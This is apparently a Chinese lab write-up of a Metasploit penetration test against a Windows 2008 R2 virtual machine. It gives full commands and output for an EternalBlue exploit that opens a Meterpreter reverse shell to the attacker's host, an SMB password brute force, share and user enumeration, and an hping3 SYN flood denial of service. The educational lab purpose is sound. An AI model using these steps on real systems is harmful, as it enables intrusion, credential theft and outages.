实验环境:Kali虚拟机一台、4G运行,Windows 2008靶机一台,IP地址192.168.22.138
实验目的:使用kali对Windows 2008进行渗透测试
实验步骤:
(一),对靶机进行扫描
1,使用Neuss进行扫描
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述2,开启metasploit框架进行扫描
在这里插入图片描述

msf6 > db_nmap -A -T4 192.168.22.138                        使用nmap进行扫描

在这里插入图片描述
(二),进行渗透测试
扫描smb版本信息

msf6 > search smb_version          查看是否有smb版本扫描模块

Matching Modules
================

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  auxiliary/scanner/smb/smb_version                   normal  No     SMB Version Detection


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version

msf6 > use auxiliary/scanner/smb/smb_version             引用模块
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.22.138   设置扫描IP地址
rhosts => 192.168.22.138
msf6 auxiliary(scanner/smb/smb_version) > run    执行扫描

[*] 192.168.22.138:445    - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.1) (signatures:optional) (uptime:2h 22m 59s) (guid:{0335b839-5671-4c1e-a12a-d8db422af7dd}) (authentication domain:W2K8)
[+] 192.168.22.138:445    -   Host is running Windows 2008 R2 Datacenter SP1 (build:7601) (name:W2K8) (workgroup:WORKGROUP)
[*] 192.168.22.138:       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

在这里插入图片描述先寻找暴露出来的第一个问题点

msf6 exploit(windows/misc/hp_dataprotector_install_service) > search smb  description:2  寻找相应模块

Matching Modules
================

   #   Name                                                        Disclosure Date  Rank       Check  Description
   -   ----                                                        ---------------  ----       -----  -----------
   0   auxiliary/admin/mssql/mssql_ntlm_stealer                                     normal     No     Microsoft SQL Server NTLM Stealer
   1   auxiliary/docx/word_unc_injector                                             normal     No     Microsoft Word UNC Path Injector
   2   auxiliary/dos/samba/read_nttrans_ea_list                                     normal     No     Samba read_nttrans_ea_list Integer Overflow
   3   auxiliary/dos/windows/smb/ms05_047_pnp                                       normal     No     Microsoft Plug and Play Service Registry Overflow
   4   auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh                    normal     No     Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
   5   auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff                       normal     No     Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference
   6   auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop                   normal     No     Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop
   7   auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow                     normal     No     Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS
   8   auxiliary/dos/windows/smb/ms11_019_electbowser                               normal     No     Microsoft Windows Browser Pool DoS
   9   auxiliary/fuzzers/smb/smb2_negotiate_corrupt                                 normal     No     SMB Negotiate SMB2 Dialect Corruption
   10  auxiliary/gather/konica_minolta_pwd_extract                                  normal     No     Konica Minolta Password Extractor
   11  auxiliary/scanner/http/citrix_dir_traversal                 2019-12-17       normal     No     Citrix ADC (NetScaler) Directory Traversal Scanner
   12  auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir                              normal     No     SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
   13  auxiliary/scanner/smb/smb_enum_gpp                                           normal     No     SMB Group Policy Preference Saved Passwords Enumeration
   14  auxiliary/server/capture/smb                                                 normal     No     Authentication Capture: SMB
   15  auxiliary/server/teamviewer_uri_smb_redirect                                 normal     No     TeamViewer Unquoted URI Handler SMB Redirect
   16  exploit/linux/samba/chain_reply                             2010-06-16       good       No     Samba chain_reply Memory Corruption (Linux x86)
   17  exploit/multi/http/struts_code_exec_classloader             2014-03-06       manual     No     Apache Struts ClassLoader Manipulation Remote Code Execution
   18  exploit/multi/ids/snort_dce_rpc                             2007-02-19       good       No     Snort 2 DCE/RPC Preprocessor Buffer Overflow
   19  exploit/windows/browser/java_ws_double_quote                2012-10-16       excellent  No     Sun Java Web Start Double Quote Injection
   20  exploit/windows/fileformat/ms13_071_theme                   2013-09-10       excellent  No     MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution
   21  exploit/windows/fileformat/ms14_060_sandworm                2014-10-14       excellent  No     MS14-060 Microsoft Windows OLE Package Manager Code Execution
   22  exploit/windows/fileformat/ursoft_w32dasm                   2005-01-24       good       No     URSoft W32Dasm Disassembler Function Buffer Overflow
   23  exploit/windows/fileformat/vlc_smb_uri                      2009-06-24       great      No     VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow
   24  exploit/windows/misc/hp_dataprotector_cmd_exec              2014-11-02       excellent  Yes    HP Data Protector 8.10 Remote Command Execution
   25  exploit/windows/misc/hp_dataprotector_install_service       2011-11-02       excellent  Yes    HP Data Protector 6.10/6.11/6.20 Install Service
   26  exploit/windows/smb/ms03_049_netapi                         2003-11-11       good       No     MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow
   27  exploit/windows/smb/ms04_007_killbill                       2004-02-10       low        No     MS04-007 Microsoft ASN.1 Library Bitstring Heap Overflow
   28  exploit/windows/smb/ms04_031_netdde                         2004-10-12       good       No     MS04-031 Microsoft NetDDE Service Overflow
   29  exploit/windows/smb/ms05_039_pnp                            2005-08-09       good       Yes    MS05-039 Microsoft Plug and Play Service Overflow
   30  exploit/windows/smb/ms06_025_rasmans_reg                    2006-06-13       good       No     MS06-025 Microsoft RRAS Service RASMAN Registry Overflow
   31  exploit/windows/smb/ms06_025_rras                           2006-06-13       average    No     MS06-025 Microsoft RRAS Service Overflow
   32  exploit/windows/smb/ms06_040_netapi                         2006-08-08       good       No     MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow
   33  exploit/windows/smb/ms06_066_nwapi                          2006-11-14       good       No     MS06-066 Microsoft Services nwapi32.dll Module Exploit
   34  exploit/windows/smb/ms06_066_nwwks                          2006-11-14       good       No     MS06-066 Microsoft Services nwwks.dll Module Exploit
   35  exploit/windows/smb/ms06_070_wkssvc                         2006-11-14       manual     No     MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow
   36  exploit/windows/smb/ms07_029_msdns_zonename                 2007-04-12       manual     No     MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)
   37  exploit/windows/smb/ms08_067_netapi                         2008-10-28       great      Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
   38  exploit/windows/smb/ms09_050_smb2_negotiate_func_index      2009-09-07       good       No     MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
   39  exploit/windows/smb/ms10_061_spoolss                        2010-09-14       excellent  No     MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability
   40  exploit/windows/smb/ms15_020_shortcut_icon_dllloader        2015-03-10       excellent  No     Microsoft Windows Shell LNK Code Execution
   41  exploit/windows/smb/ms17_010_eternalblue                    2017-03-14       average    Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   42  exploit/windows/smb/ms17_010_eternalblue_win8               2017-03-14       average    No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   43  exploit/windows/smb/smb_relay                               2001-03-31       excellent  No     MS08-068 Microsoft Windows SMB Relay Code Execution
   44  payload/windows/meterpreter/reverse_named_pipe                               normal     No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   45  payload/windows/x64/meterpreter/reverse_named_pipe                           normal     No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   46  post/windows/gather/credentials/gpp                                          normal     No     Windows Gather Group Policy Preference Saved Passwords
   47  post/windows/gather/word_unc_injector                                        normal     No     Windows Gather Microsoft Office Word UNC Path Injector


Interact with a module by name or index. For example info 47, use 47 or use post/windows/gather/word_unc_injector

1,使用内存损坏攻击
msf6 exploit(windows/misc/hp_dataprotector_install_service) > use exploit/linux/samba/chain_reply   引用模块
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/chain_reply) > set rhosts 192.168.22.138                 设置攻击目标IP地址
rhosts => 192.168.22.138
msf6 exploit(linux/samba/chain_reply) > run                                    执行

[*] Started reverse TCP handler on 192.168.22.136:4444 
[*] 192.168.22.138:139 - Trying return address 0x081ed5f2...
[-] 192.168.22.138:139 - The connection timed out (192.168.22.138:139).
[*] 192.168.22.138:139 - Trying return address 0x081ed5f2...
[-] 192.168.22.138:139 - The connection timed out (192.168.22.138:139).
[*] 192.168.22.138:139 - Trying return address 0x081ed5f2...
[-] 192.168.22.138:139 - The connection timed out (192.168.22.138:139).
[*] 192.168.22.138:139 - Trying return address 0x081ed5f2...
[-] 192.168.22.138:139 - The connection timed out (192.168.22.138:139).
[*] 192.168.22.138:139 - Trying return address 0x081ed5f2...
[-] 192.168.22.138:139 - The connection timed out (192.168.22.138:139).
[*] 192.168.22.138:139 - Trying return address 0x081ed5f2...
[-] 192.168.22.138:139 - The connection timed out (192.168.22.138:139).
[*] 192.168.22.138:139 - Trying return address 0x081ed5f2...
[-] 192.168.22.138:139 - The connection timed out (192.168.22.138:139).
[*] 192.168.22.138:139 - Trying return address 0x081ed5f2...
[-] 192.168.22.138:139 - The connection timed out (192.168.22.138:139).
[*] 192.168.22.138:139 - Trying return address 0x081ed5f2...
[-] 192.168.22.138:139 - The connection timed out (192.168.22.138:139).
[*] 192.168.22.138:139 - Trying return address 0x081ed5f2...
[-] 192.168.22.138:139 - The connection timed out (192.168.22.138:139).
[*] 192.168.22.138:139 - Trying return address 0x081ed5f2...
[-] 192.168.22.138:139 - The connection timed out (192.168.22.138:139).
[*] 192.168.22.138:139 - Trying return address 0x081ed5f2...

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述查看靶机的任务管理器看资源使用情况
在这里插入图片描述CPU资源占用比例很高,并且卡顿严重,在kali中Ctrl+C结束攻击则恢复正常,攻击成功
在这里插入图片描述2,使用永恒之蓝漏洞

msf6 exploit(windows/smb/ms17_010_eternalblue) > search Windows 2008 R2    根据获取到的信息进行筛选(条件1 Neuss中指出Windows未安装插件补丁,条件2 前面SMB扫描出相关信息)

Matching Modules
================

   #   Name                                                        Disclosure Date  Rank       Check  Description
   -   ----                                                        ---------------  ----       -----  -----------
   0   auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh                    normal     No     Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
   1   auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop                   normal     No     Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop
   2   auxiliary/scanner/dcerpc/windows_deployment_services                         normal     No     Microsoft Windows Deployment Services Unattend Retrieval
   3   auxiliary/scanner/smb/smb_enum_gpp                                           normal     No     SMB Group Policy Preference Saved Passwords Enumeration
   4   exploit/multi/http/cisco_dcnm_upload                        2013-09-18       excellent  Yes    Cisco Prime Data Center Network Manager Arbitrary File Upload
   5   exploit/multi/http/rocket_servergraph_file_requestor_rce    2013-10-30       great      Yes    Rocket Servergraph Admin Center fileRequestor Remote Code Execution
   6   exploit/multi/misc/hp_data_protector_exec_integutil         2014-10-02       great      Yes    HP Data Protector EXEC_INTEGUTIL Remote Code Execution
   7   exploit/windows/emc/alphastor_device_manager_exec           2013-01-18       excellent  Yes    EMC AlphaStor Device Manager Opcode 0x75 Command Injection
   8   exploit/windows/http/ektron_xslt_exec_ws                    2015-02-05       excellent  Yes    Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution
   9   exploit/windows/http/oracle_endeca_exec                     2013-07-16       excellent  Yes    Oracle Endeca Server Remote Command Execution
   10  exploit/windows/http/sap_configservlet_exec_noauth          2012-11-01       great      Yes    SAP ConfigServlet Remote Code Execution
   11  exploit/windows/local/cve_2018_8453_win32k_priv_esc         2018-10-09       manual     No     Windows NtUserSetWindowFNID Win32k User Callback
   12  exploit/windows/local/ms13_005_hwnd_broadcast               2012-11-27       excellent  No     MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation
   13  exploit/windows/local/ms14_058_track_popup_menu             2014-10-14       normal     Yes    Windows TrackPopupMenu Win32k NULL Pointer Dereference
   14  exploit/windows/local/ms15_051_client_copy_image            2015-05-12       normal     Yes    Windows ClientCopyImage Win32k Exploit
   15  exploit/windows/local/ms18_8120_win32k_privesc              2018-05-09       good       No     Windows SetImeInfoEx Win32k NULL Pointer Dereference
   16  exploit/windows/misc/hp_dataprotector_encrypted_comms       2016-04-18       normal     Yes    HP Data Protector Encrypted Communication Remote Command Execution
   17  exploit/windows/misc/hp_dataprotector_exec_bar              2014-01-02       excellent  Yes    HP Data Protector Backup Client Service Remote Code Execution
   18  exploit/windows/rdp/cve_2019_0708_bluekeep_rce              2019-05-14       manual     Yes    CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
   19  exploit/windows/smb/ms09_050_smb2_negotiate_func_index      2009-09-07       good       No     MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
   20  exploit/windows/smb/ms17_010_eternalblue                    2017-03-14       average    Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   21  exploit/windows/smb/ms17_010_eternalblue_win8               2017-03-14       average    No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   22  post/windows/gather/credentials/gpp                                          normal     No     Windows Gather Group Policy Preference Saved Passwords
   23  post/windows/gather/credentials/windows_autologin                            normal     No     Windows Gather AutoLogin User Credential Extractor


Interact with a module by name or index. For example info 23, use 23 or use post/windows/gather/credentials/windows_autologin

msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_eternalblue    引用天空之蓝模块
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.22.138         设置攻击目标IP地址
rhosts => 192.168.22.138
msf6 exploit(windows/smb/ms17_010_eternalblue) > run                执行

[*] Started reverse TCP handler on 192.168.22.136:4444 
[*] 192.168.22.138:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.22.138:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.22.138:445    - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.22.138:445 - Connecting to target for exploitation.
[+] 192.168.22.138:445 - Connection established for exploitation.
[+] 192.168.22.138:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.22.138:445 - CORE raw buffer dump (53 bytes)
[*] 192.168.22.138:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 192.168.22.138:445 - 0x00000010  30 30 38 20 52 32 20 44 61 74 61 63 65 6e 74 65  008 R2 Datacente
[*] 192.168.22.138:445 - 0x00000020  72 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50  r 7601 Service P
[*] 192.168.22.138:445 - 0x00000030  61 63 6b 20 31                                   ack 1           
[+] 192.168.22.138:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.22.138:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.22.138:445 - Sending all but last fragment of exploit packet
[*] 192.168.22.138:445 - Starting non-paged pool grooming
[+] 192.168.22.138:445 - Sending SMBv2 buffers
[+] 192.168.22.138:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.22.138:445 - Sending final SMBv2 buffers.
[*] 192.168.22.138:445 - Sending last fragment of exploit packet!
[*] 192.168.22.138:445 - Receiving response from exploit packet
[+] 192.168.22.138:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.22.138:445 - Sending egg to corrupted connection.
[*] 192.168.22.138:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 192.168.22.138
[*] Meterpreter session 2 opened (192.168.22.136:4444 -> 192.168.22.138:49300) at 2021-02-04 16:30:23 +0800
[+] 192.168.22.138:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.22.138:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.22.138:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
验证
meterpreter > pwd
C:\Windows\system32
meterpreter > cd D:
meterpreter > pwd
D:\

在这里插入图片描述3,SMB用户登录枚举
在这里插入图片描述

msf6 exploit(windows/smb/ms17_010_eternalblue) > use auxiliary/scanner/smb/smb_login    引用模块
msf6 auxiliary(scanner/smb/smb_login) > set rhosts 192.168.22.138      设置攻击目标IP地址
rhosts => 192.168.22.138                                                                       
msf6 auxiliary(scanner/smb/smb_login) > set pass_file /root/mimaku.txt   指定字典库文件
pass_file => /root/mimaku.txt                                                                  
msf6 auxiliary(scanner/smb/smb_login) > set smbuser administrator      设置用户名                        
smbuser => administrator                                                                       
msf6 auxiliary(scanner/smb/smb_login) > run                        执行,获取到用户密码
                                                                                               
[*] 192.168.22.138:445    - 192.168.22.138:445 - Starting SMB login bruteforce                 
[-] 192.168.22.138:445    - 192.168.22.138:445 - Failed: '.\administrator:root',               
[-] 192.168.22.138:445    - 192.168.22.138:445 - Failed: '.\administrator:admin',              
[-] 192.168.22.138:445    - 192.168.22.138:445 - Failed: '.\administrator:test',               
[-] 192.168.22.138:445    - 192.168.22.138:445 - Failed: '.\administrator:system',             
[-] 192.168.22.138:445    - 192.168.22.138:445 - Failed: '.\administrator:guest',              
[-] 192.168.22.138:445    - 192.168.22.138:445 - Failed: '.\administrator:systemadmin',        
[-] 192.168.22.138:445    - 192.168.22.138:445 - Failed: '.\administrator:test1',
[-] 192.168.22.138:445    - 192.168.22.138:445 - Failed: '.\administrator:test12',
[-] 192.168.22.138:445    - 192.168.22.138:445 - Failed: '.\administrator:test123',
[-] 192.168.22.138:445    - 192.168.22.138:445 - Failed: '.\administrator:admin888 ',
[-] 192.168.22.138:445    - 192.168.22.138:445 - Failed: '.\administrator:admin123456 ',
[-] 192.168.22.138:445    - 192.168.22.138:445 - Failed: '.\administrator:admin888888 ',
[-] 192.168.22.138:445    - 192.168.22.138:445 - Failed: '.\administrator:admin12345 ',
[+] 192.168.22.138:445    - 192.168.22.138:445 - Success: '.\administrator:p@9865321' Administrator
[*] 192.168.22.138:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

在这里插入图片描述4,SMB共享文件枚举

msf6 > use auxiliary/scanner/smb/smb_enumshares                             引用模块
msf6 auxiliary(scanner/smb/smb_enumshares) > set rhosts 192.168.22.138          设置攻击目标IP地址
rhosts => 192.168.22.138
msf6 auxiliary(scanner/smb/smb_enumshares) > set smbuser administrator           设置用户名
smbuser => administrator
msf6 auxiliary(scanner/smb/smb_enumshares) > set smbpass p@9865321            设置之前获取到的密码
smbpass => p@9865321
msf6 auxiliary(scanner/smb/smb_enumshares) > set showfiles true                  进行设置
showfiles => true
msf6 auxiliary(scanner/smb/smb_enumshares) > set spidershares true               进行设置
spidershares => true
msf6 auxiliary(scanner/smb/smb_enumshares) > run                             执行

在这里插入图片描述5,SMB枚举有哪些用户存在

msf6 > use auxiliary/scanner/smb/smb_enumusers                                      引用模块
msf6 auxiliary(scanner/smb/smb_enumusers) > set rhosts 192.168.22.138                   设置攻击目标IP地址
rhosts => 192.168.22.138    
msf6 auxiliary(scanner/smb/smb_enumusers) > set smbuser administrator                   设置主机名  
smbuser => administrator                                                                       
msf6 auxiliary(scanner/smb/smb_enumusers) > set smbpass p@9865321                    设置之前获取到的密码        
smbpass => p@9865321                             
msf6 auxiliary(scanner/smb/smb_enumusers) > run                                     执行
                                                                                               
[+] 192.168.22.138:445    - W2K8 [ Administrator, Guest ] ( LockoutTries=0 PasswordMin=0 )     
[*] 192.168.22.138:       - Scanned 1 of 1 hosts (100% complete)                               
[*] Auxiliary module execution completed          

在这里插入图片描述
6,http扫描检查robots.txt文件

msf6 auxiliary(scanner/http/cert) > use auxiliary/scanner/http/robots_txt     引用模块
msf6 auxiliary(scanner/http/robots_txt) > set rhosts 192.168.22.138         设置攻击目标的IP地址
rhosts => 192.168.22.138
msf6 auxiliary(scanner/http/robots_txt) > set rport 84                     设置攻击目标的端口号
rport => 84
msf6 auxiliary(scanner/http/robots_txt) > run                            执行

[*] [192.168.22.138] /robots.txt found
[+] Contents of Robots.txt:
User-agent: *
Disallow: passwords/
Disallow: config.inc
Disallow: classes/
Disallow: javascript/
Disallow: owasp-esapi-php/
Disallow: documentation/
Disallow: phpmyadmin/
Disallow: includes/
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

在这里插入图片描述
7,使用hping3造成拒绝服务攻击

┌──(root💀kali)-[~]
└─# hping3 -c 1000000000 -d 140 -S -w 64 -p 445 -s 445 192.168.22.138 --flood    

在这里插入图片描述在这里插入图片描述【至此,渗透测试xampp靶机完成】

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐